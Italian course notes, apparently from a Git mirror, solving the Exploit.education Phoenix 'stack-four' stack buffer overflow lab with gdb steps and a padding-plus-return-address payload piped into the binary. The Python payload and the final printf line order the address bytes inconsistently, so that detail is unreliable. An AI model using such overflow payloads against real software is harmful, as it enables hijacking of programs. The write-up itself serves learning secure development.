1
Fork 0
mirror of https://github.com/Steffo99/appunti-magistrali.git synced 2024-11-22 10:44:17 +00:00
appunti-steffo/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/04 - stack-four.md
2023-09-21 02:46:23 +02:00

1.3 KiB

Stack Four

Now here is when it gets hard.

Intanto, bisogna trovare l'indirizzo della funzione bersaglio. Con gdb è facile:

(gdb) x complete_level
0x40061d

Impostando un breakpoint nella funzione start_level, è possibile iniziare a scuriosarci:

(gdb) break start_level
(gdb) run
(gdb) disassemble start_level
(gdb) step
...

Ricordando che $rbp e $rsp sono rispettivamente fondo e cima dello stack, possiamo determinare quanto padding dobbiamo mettere per romperlo:

(gdb) p $rbp-$rsp
0x50

Ricordandoci che in un architettura a 64-bit gli indirizzi sono 8 byte, creiamo un payload con:

  • 0x50 bytes di padding per riempire lo stack
  • 0x8 bytes di padding per sovrascrivere lo stack base pointer della funzione precedente
  • 0x8 bytes con l'indirizzo della funzione a cui vogliamo tornare in ordine invertito:
>>> 0x50 * b'a' + 0x8 * b'b' + b'\0\0\0\0\0\x1d\x06\x40'
b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00\x00\x00\x00\x00  
\x1d\x06@'

Passando questo payload prima a printf, poi a stack-four, otteniamo:

printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbb\x1d\x06@' | ./stack-four